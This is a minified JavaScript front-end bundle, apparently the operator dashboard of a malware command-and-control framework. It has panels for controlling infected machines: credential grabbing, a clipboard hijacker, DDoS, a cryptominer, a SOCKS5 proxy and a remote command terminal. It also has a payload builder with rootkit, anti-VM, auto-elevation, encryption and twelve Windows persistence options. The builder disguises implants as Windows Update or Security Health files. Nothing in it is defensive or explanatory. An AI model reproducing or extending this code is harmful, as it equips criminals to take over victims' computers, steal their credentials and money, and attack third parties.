0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>D(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>G("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>G("screenshots"),badge:F.length>0?F.length:void 0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>G("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>G("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>G("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>G("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>G("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>G("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>G("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>G("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>G("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>G("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Am,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Lo(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Am,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Am,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:T5(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Mo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:Jc(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:to(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${B!=null&&B.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:B!=null&&B.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:B.port?`127.0.0.1:${B.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:B.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Tp(B.bytes_in)," in / ",Tp(B.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await c_(i.id),K({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):a.jsxs("div",{className:"space-y-2",children:[a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&a.jsx("button",{onClick:async()=>{try{const I=await P5(i.id);K({active:!0,port:I.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),a.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),a.jsx("div",{className:"overflow-x-auto",children:C.length===0?a.jsx("div",{className:"px-4 py-12 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(I=>{var q;const fe=(q=I.args)!=null&&q.length?" "+I.args.join(" "):"";return a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[I.command,fe]}),a.jsx("td",{className:"px-4 py-2.5",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${fV[I.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:I.status})}),a.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:Mo(I.created_at)})]},I.id)})})]})})]})})]})}),k.has("files")&&a.jsx("div",{style:{display:j==="files"?void 0:"none"},children:a.jsx(GU,{agentId:i.id,agentStatus:i.status})}),k.has("processes")&&a.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:a.jsx(XU,{agentId:i.id,agentStatus:i.status})}),k.has("windows")&&a.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:a.jsx(ZU,{agentId:i.id,agentStatus:i.status})}),k.has("apps")&&a.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:a.jsx(QU,{agentId:i.id,agentStatus:i.status})}),k.has("system")&&a.jsx("div",{style:{display:j==="system"?void 0:"none"},children:a.jsx(JU,{agentId:i.id,agentStatus:i.status})}),k.has("troll")&&a.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:a.jsx(tV,{agentId:i.id})}),k.has("credentials")&&a.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:a.jsx(oV,{agentId:i.id,agentStatus:i.status,autoGrab:$,onAutoGrabConsumed:()=>{U(!1),n.delete("auto"),r(n,{replace:!0})}})}),k.has("clipper")&&a.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:a.jsx(uV,{agentId:i.id,agentStatus:i.status})}),k.has("ddos")&&a.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:a.jsx(aS,{agentIds:[i.id],agentStatus:i.status})}),k.has("miner")&&a.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:a.jsx(dV,{agentId:i.id,agentStatus:i.status})}),k.has("screenshots")&&a.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:a.jsx("div",{className:"p-6 animate-fade-in",children:F.length===0?a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",a.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):a.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:F.map(I=>a.jsxs("button",{onClick:()=>A(I.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:M.has(I.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:I.dataUrl,alt:`Screenshot ${to(I.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>W(fe=>new Set(fe).add(I.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:to(I.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:Jc(I.timestamp)})]})})]},I.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>O(I=>!I),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${_?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),_&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(qU,{lines:re,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&se.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:se.map(I=>a.jsx("button",{onClick:()=>ke(I),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:I},I))})]})}),V&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:V}),a.jsxs("form",{onSubmit:be,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:I=>g(I.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(M5,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>D(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>A(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:I=>I.stopPropagation(),children:[a.jsxs("button",{onClick:()=>A(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Am({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const oS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},F2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},pV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function hV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await QE();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(vd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(W2,{label:"All",active:i==="all",onClick:()=>s("all")}),pV.map(p=>a.jsx(W2,{label:oS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&a.jsx("button",{onClick:()=>s("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),a.jsx("div",{children:d.map((p,h)=>a.jsx(xV,{event:p,expanded:o===p.id,onToggle:()=>l(o===p.id?null:p.id)},p.id||h))})]})]})}function xV({event:e,expanded:t,onToggle:n}){const r=F2[e.severity]||F2.info,i=e.details&&Object.keys(e.details).length>0;return a.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[a.jsx("div",{children:a.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:oS[e.type]||e.type})}),a.jsx("div",{className:"min-w-0",children:a.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:lA(e.timestamp)})})]}),t&&i&&a.jsx("div",{className:"px-4 pb-3",children:a.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[a.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),a.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([s,o])=>a.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[a.jsxs("span",{className:"text-zerin-text-muted",children:[s,":"]}),a.jsx("span",{className:"text-zerin-text",children:String(o)})]},s))})]})})]})}function W2({label:e,active:t,onClick:n}){return a.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const U2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function V2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const H2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],vV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function gV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(!1),[o,l]=m.useState(0),[c,u]=m.useState(0),[d,f]=m.useState(""),[p,h]=m.useState(""),x=m.useSyncExternalStore(_5,E5),g=x.status==="building",[y,v]=m.useState(V2),[b,w]=m.useState([""]),[j,N]=m.useState("30"),[k,z]=m.useState("25"),[S,A]=m.useState(""),[_,O]=m.useState(U2),[P,D]=m.useState(!1),[V,R]=m.useState("exe"),[M,W]=m.useState(0),[$,U]=m.useState(!0),[B,K]=m.useState(!0),[Z,le]=m.useState(!0),[de,we]=m.useState(!0),[ye,G]=m.useState(1),[te,C]=m.useState("Microsoft\\WindowsUpdate"),[Y,re]=m.useState("SecurityHealthService.exe"),[F,se]=m.useState(null),be=m.useCallback(async()=>{try{const q=await t_();t(q)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{be(),n_().then(q=>{w(ne=>ne.length===1&&ne[0]===""?[q.default_callback_url]:ne)}).catch(()=>{})},[be]),m.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const q=setInterval(()=>{const ve=Math.floor((Date.now()-x.startedAt)/1e3);u(ve);const H=Math.min(95,Math.floor(100*(1-Math.exp(-ve/50))));l(H)},500),ne=Math.floor((Date.now()-x.startedAt)/1e3);return u(ne),l(Math.min(95,Math.floor(100*(1-Math.exp(-ne/50))))),()=>clearInterval(q)},[g,x.startedAt]),m.useEffect(()=>{g&&s(!0)},[]),m.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),s(!1),ay(),be()):x.status==="error"&&(f(x.error||"Failed to build payload"),ay())},[x.status]),m.useEffect(()=>{if(!p)return;const q=setTimeout(()=>h(""),4e3);return()=>clearTimeout(q)},[p]);function ke(){v(V2()),N("30"),z("25"),A(""),O(U2),D(!1),R("exe"),W(0),U(!0),K(!0),le(!0),we(!0),G(1),C("Microsoft\\WindowsUpdate"),re("SecurityHealthService.exe")}async function Ae(q){q.preventDefault(),f("");const ne=b.filter(Q=>Q.trim()!=="");let ve=0;S&&(ve=Math.floor(new Date(S).getTime()/1e3));const H={name:y.trim(),callback_urls:ne,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(k,10)||25,kill_date:ve,user_agent:_.trim(),output_format:V,debug:P,persist_methods:M||void 0,rootkit_enabled:$,encryption_enabled:B,anti_vm:Z,auto_elevate:de,install_dir:ye,install_subdir:te,install_filename:Y};K_(H.name);try{await e_(H),Y_(),ke()}catch(Q){Q instanceof bi?iy(Q.message):iy("Failed to build payload")}}async function I(q){const ne=st();if(!ne){f("Not authenticated");return}try{const ve=await fetch(`/api/payloads/${q.payload_id}/download`,{headers:{Authorization:`Bearer ${ne}`}});if(!ve.ok){f("Download failed");return}const H=await ve.blob(),Q=URL.createObjectURL(H),he=document.createElement("a");he.href=Q;const E=ve.headers.get("content-disposition"),ce=E==null?void 0:E.match(/filename="(.+?)"/);he.download=(ce==null?void 0:ce[1])||`${q.name||"payload"}.exe`,document.body.appendChild(he),he.click(),document.body.removeChild(he),URL.revokeObjectURL(Q)}catch{f("Download failed")}}async function fe(q){try{await r_(q),se(null),be()}catch{f("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),a.jsx("button",{onClick:()=>{s(!i),f("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:i?"Cancel":"+ Build Agent"})]}),p&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:p}),i&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),a.jsxs("form",{onSubmit:Ae,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(gr,{label:"Payload Name",children:a.jsx("input",{type:"text",value:y,onChange:q=>v(q.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),a.jsx(gr,{label:"Output Format",children:a.jsxs("select",{value:V,onChange:q=>{const ne=q.target.value;R(ne),ne==="exe"&&W(ve=>ve&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(gr,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:j,onChange:q=>N(q.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(gr,{label:`Jitter (${k}%)`,children:a.jsx("input",{type:"range",value:k,onChange:q=>z(q.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(gr,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:S,onChange:q=>A(q.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),a.jsx(gr,{label:"User 